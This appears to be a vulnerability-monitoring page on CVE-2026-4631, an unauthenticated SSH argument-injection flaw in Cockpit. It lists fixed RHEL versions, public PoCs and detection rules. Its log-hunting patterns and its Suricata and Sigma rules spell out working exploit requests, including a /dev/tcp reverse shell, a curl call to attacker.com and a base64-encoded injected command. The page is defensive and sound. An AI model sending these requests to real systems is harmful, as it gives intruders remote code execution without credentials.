Red Hat Enterprise Linux 10
Cockpit: cockpit: unauthenticated remote code execution due to ssh command-line argument injection
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
Fixed in 0:344-3.el10_1
Fixed in 0:356.1-1.el10_2
Fixed in 0:334.1-3.el10_0
Fixed in 0:356.1-1.el9_8
Fixed in 0:344-2.el9_7
Fixed in 0:356.1-1.el9_8
Fixed in 0:344-2.el9_7
Fixed in 0:334.2-2.el9_6
Mitigation
Upgrade Red Hat Enterprise Linux 10 to 0:344-3.el10_1 or later.
Upgrade Red Hat Enterprise Linux 10 to 0:356.1-1.el10_2 or later.
Upgrade Red Hat Enterprise Linux 10.0 Extended Update Support to 0:334.1-3.el10_0 or later.
Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.
Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.
Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.
Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.
Upgrade Red Hat Enterprise Linux 9.6 Extended Update Support to 0:334.2-2.el9_6 or later.
References
- Vendor advisory access.redhat.com/errata/RHBA-2026:21387
- Vendor advisory access.redhat.com/errata/RHBA-2026:21388
- Vendor advisory access.redhat.com/errata/RHSA-2026:7381
4 more
- Vendor advisory access.redhat.com/errata/RHSA-2026:7382
- Vendor advisory access.redhat.com/errata/RHSA-2026:7383
- Vendor advisory access.redhat.com/errata/RHSA-2026:7384
- Vendor advisory github.com/cockpit-project/cockpit/security/ad…
Timeline
Days relative to CVE publicationFirst public PoC 7.7 days after publication; not in CISA KEV. First PoC: nuclei template: Cockpit Web Console < 360 - Remote Code Execution (nuclei template, 15 Apr 2026).
PoC repositories
Found on GitHub.2 PoCs
PoCs 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| cyberheartmi9/CVE-2026-4631-cockpit-RCE | 18 Apr 2026 +11 d | 15 | PoC |
| ExDev994/CVE-2026-4631-cockpit-RCE | 12 Jul 2026 +96 d | 0 | PoC |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Cockpit 359 - RCE | 21 May 2026 | 14 Nov 2026 |
| nuclei template | nuclei template: Cockpit Web Console < 360 - Remote Code Execution | 15 Apr 2026 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 2 PoC reposGET /cockpit+=-oProxyCommand={var}/login
- Key headers
Authorization: Basic base64("x:x")Authorization: Basic {var}Authorization: Basic aW52YWxpZDppbnZhbGlkAuthorization: {var}Origin: {var}Referer: {var}/- Ports
- 9090
- Seen in
- 2 repos: ExDev994/CVE-2026-4631-cockpit-RCE, cyberheartmi9/CVE-2026-4631-cockpit-RCE
- Evidence
- ExDev994/CVE-2026-4631-cockpit-RCE/README.md:167 ExDev994/CVE-2026-4631-cockpit-RCE/docs/DETECTION.md:89 cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:290 cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:55 cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:87 cyberheartmi9/CVE-2026-4631-cockpit-RCE/exploit.py:114
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login
- Ports
- 9090
- Seen in
- 1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
- Evidence
- cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:317
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login
- Ports
- 9090
- Seen in
- 1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
- Evidence
- cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:309
GET /cockpit+=legit-host/login
- Key headers
Authorization: Basic base64("x; {var}; #:x")- Ports
- 9090
- Seen in
- 1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
- Evidence
- ExDev994/CVE-2026-4631-cockpit-RCE/README.md:181
GET /cockpit+=legitimate-host/login
- Key headers
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk- Ports
- 9090
- Seen in
- 1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
- Evidence
- cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:338
GET /cockpit+={var}/login
- Key headers
Authorization: Basic <base64 of "x; CMD; #:x">- Ports
- 9090
- Seen in
- 1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
- Evidence
- ExDev994/CVE-2026-4631-cockpit-RCE/docs/DETECTION.md:100
GET /`id
- Ports
- 9090
- Seen in
- 1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
- Evidence
- cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:312
GET /cockpit+=probe-host/login
- Key headers
Authorization: Basic eDp4- Ports
- 8080, 9090
- Seen in
- 1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
- Evidence
- ExDev994/CVE-2026-4631-cockpit-RCE/core/scanner.py:85
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/cockpit\+=-oProxyCommand=[^/?#]*/login(?:[?#].*)?$
(?i)^/cockpit\+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10\.10\.10\.10%2F4444%200%3E%261/login(?:[?#].*)?$
(?i)^/cockpit\+=-oProxyCommand=curl%20http%3A%2F%2Fattacker\.com%2F%60id%60/login(?:[?#].*)?$
(?i)^/cockpit\+=legit-host/login(?:[?#].*)?$
(?i)^/cockpit\+=legitimate-host/login(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand="; http.uri; content:"/login"; http.header; content:"Authorization: Basic base64(|22|x:x|22|)"; nocase; http.header; content:"Authorization: Basic "; nocase; http.header; content:"Authorization: Basic aW52YWxpZDppbnZhbGlk"; nocase; http.header_names; content:"Authorization"; nocase; http.header_names; content:"Origin"; nocase; http.header_names; content:"Referer"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9068562; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login"; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9147020; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login"; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9257553; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=legit-host/login"; http.header; content:"Authorization: Basic base64(|22|x|3b| "; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9873253; rev:1;)
alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=legitimate-host/login"; http.header; content:"Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9405251; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
id: gg-pocmon-cve-2026-4631-9068562
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-4631
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cockpit+=-oProxyCommand='
- '/login'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.4631
title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
id: gg-pocmon-cve-2026-4631-9147020
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-4631
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.4631
title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
id: gg-pocmon-cve-2026-4631-9257553
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-4631
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.4631
title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
id: gg-pocmon-cve-2026-4631-9873253
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-4631
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cockpit+=legit-host/login'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.4631
title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
id: gg-pocmon-cve-2026-4631-9405251
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-4631
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cockpit+=legitimate-host/login'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.4631